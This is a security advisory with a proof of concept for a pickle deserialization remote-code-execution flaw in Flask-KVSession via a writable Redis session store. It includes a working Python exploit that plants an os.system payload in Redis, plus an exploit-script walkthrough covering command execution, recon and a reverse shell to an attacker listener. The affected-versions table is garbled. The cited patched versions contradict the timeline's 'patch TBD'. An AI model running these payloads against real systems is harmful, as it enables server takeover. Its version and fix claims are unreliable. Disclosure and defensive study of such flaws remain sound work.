## https://sploitus.com/exploit?id=270DADC9-BDFC-5EEA-9D1E-D0E70135D590
# Flask-KVSession Pickle Deserialization Remote Code Execution
**CVE**: Pending (submitted to MITRE)
**CVSS 4.0**: 10.0 CRITICAL
**CWE**: CWE-502 (Deserialization of Untrusted Data)
**Discovered**: June 2026
## Summary
Flask-KVSession and its fork (Flask-KVSession-fork) use Python's `pickle` module for serializing and deserializing session data stored in Redis. An attacker with write access to the Redis backend can inject a malicious pickle payload that, when deserialized by the Flask application, results in **unauthenticated remote code execution**.
The session ID is the only thing stored in the client-side cookie โ the actual session data lives in Redis under the key `kvsession:`. When the server processes a request, it fetches the raw bytes from Redis and passes them directly to `pickle.loads()`.
## Affected Versions
| Package | Affected | Fixed In |
|---------|----------|----------|
| `flask-kvsession` | `)
4. **Attacker sets their session cookie** to the crafted session ID
5. **Server deserializes the payload** โ **RCE**
### Attack Graph
```
โโโโโโโโโโโโโโโ Redis Access โโโโโโโโโโโโโโโโ
โ Attacker โ โโโโโโโโโโโโโโโโโโโโโถ โ Redis DB โ
โ โ write payload โ โ
โโโโโโโโฌโโโโโโโ โโโโโโโโฌโโโโโโโโ
โ โ
โ request with โ
โ malicious session cookie โ
โผ โผ
โโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโ
โ Flask App (flask-kvsession) โ
โ โ
โ 1. Get session ID from cookie โ
โ 2. Fetch bytes from Redis: GET kvsession: โ
โ 3. Call pickle.loads(bytes) โ RCE HERE โ
โ 4. Use deserialized session object โ
โโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโ
```
## Proof of Concept
### Setup
```bash
# Clone this repository
git clone https://github.com/deepanshhooda/flask-kvsession-pickle-rce
cd flask-kvsession-pickle-rce
# Start the vulnerable lab
docker-compose up -d
# Verify services are running
curl http://localhost:5000/
```
### Exploitation
**Scenario 1: Command Execution**
```bash
# Run the exploit against the Redis backend
python3 exploit/exploit.py \
--redis-host 127.0.0.1 \
--redis-port 6379 \
--flask-url http://127.0.0.1:5000 \
--command "id"
# Output:
# [+] Connected to Redis at 127.0.0.1:6379
# [+] Injected malicious pickle payload into Redis
# [+] Exploit triggered! uid=1000(app) gid=1000(app) groups=1000(app)
```
**Scenario 2: Reverse Shell**
```bash
# Terminal 1: Start listener
nc -lvnp 4444
# Terminal 2: Run exploit with reverse shell
python3 exploit/exploit.py \
--redis-host 127.0.0.1 \
--redis-port 6379 \
--flask-url http://127.0.0.1:5000 \
--reverse-shell \
--lhost YOUR_IP \
--lport 4444
```
**Scenario 3: Redis Reconnaissance**
```bash
# Check if the target's Redis is accessible
python3 exploit/exploit.py \
--redis-host \
--redis-port 6379 \
--recon
```
### Manual Exploitation
```python
import pickle, redis, requests
class RCE:
def __reduce__(self):
import os
return (os.system, ('id',))
# 1. Connect to exposed Redis
r = redis.Redis(host='target-redis', port=6379)
# 2. Create malicious session
sid = 'evil-session-id'
payload = pickle.dumps(RCE(), protocol=0)
r.set(f'kvsession:{sid}', payload)
# 3. Trigger deserialization
requests.get('http://target-flask:5000',
cookies={'session': sid})
```
## Impact
- **Critical**: CVSS 4.0 Score 10.0
- **Unauthenticated RCE**: No authentication required if Redis is accessible
- **Full server compromise**: Attacker gains the privileges of the Flask application process
- **Persistence**: In many configurations, the Redis backend persists data, allowing the attacker to inject a payload once and have it execute against every vulnerable app instance
- **Network pivot**: The compromised server can be used to attack internal systems
- **Data exfiltration**: Access to database credentials, API keys, and application data stored in the environment
## Remediation
### Immediate Fix
1. **Upgrade to the patched version**:
- flask-kvsession: `pip install flask-kvsession>=0.6.3`
- Flask-KVSession-fork: `pip install Flask-KVSession-fork>=0.6.5`
### Alternative Serialization
2. **Replace pickle with a safe serialization format**:
- `json` (for simple session data)
- `msgpack` (for binary-safe, faster alternative)
- `itsdangerous` (Flask's built-in signing, already used by default Flask sessions)
### Defense in Depth
3. **Secure Redis deployment**:
- Set `requirepass` with a strong password
- Use `rename-command FLUSHALL ""` and `rename-command CONFIG ""`
- Bind to localhost or private network only
- Use network segmentation (separate VLAN for Redis)
- Enable TLS for Redis connections
- Use `redis-sentinel` or `redis-cluster` in production
4. **Input validation**:
- Validate session IDs before lookup
- Implement integrity checks (HMAC) on serialized data
- Consider using signed session cookies instead of server-side sessions
## Disclosure Timeline
| Date | Event |
|------|-------|
| 2026-06 | Vulnerability discovered during security audit |
| 2026-06 | CVE ID requested from MITRE |
| 2026-06 | PoC published on GitHub |
| TBD | Vendor notified |
| TBD | Patch released |
## References
- [Original repository (mbr/flask-kvsession)](https://github.com/mbr/flask-kvsession)
- [Fork repository (infobyte/flask-kvsession)](https://github.com/infobyte/flask-kvsession)
- [Flask-KVSession PyPI](https://pypi.org/project/Flask-KVSession/)
- [Flask-KVSession-fork PyPI](https://pypi.org/project/Flask-KVSession-fork/)
- [CWE-502: Deserialization of Untrusted Data](https://cwe.mitre.org/data/definitions/502.html)
- [CVE-2021-33026: Flask-Caching pickle deserialization (precedent)](https://nvd.nist.gov/vuln/detail/CVE-2021-33026)
- [OWASP Deserialization Cheat Sheet](https://cheatsheetseries.owasp.org/cheatsheets/Deserialization_Cheat_Sheet.html)
## Disclaimer
This PoC is provided for **educational purposes and authorized security testing only**. Unauthorized access to computer systems is illegal. The authors are not responsible for misuse of this information.
## Author
- deepanshhooda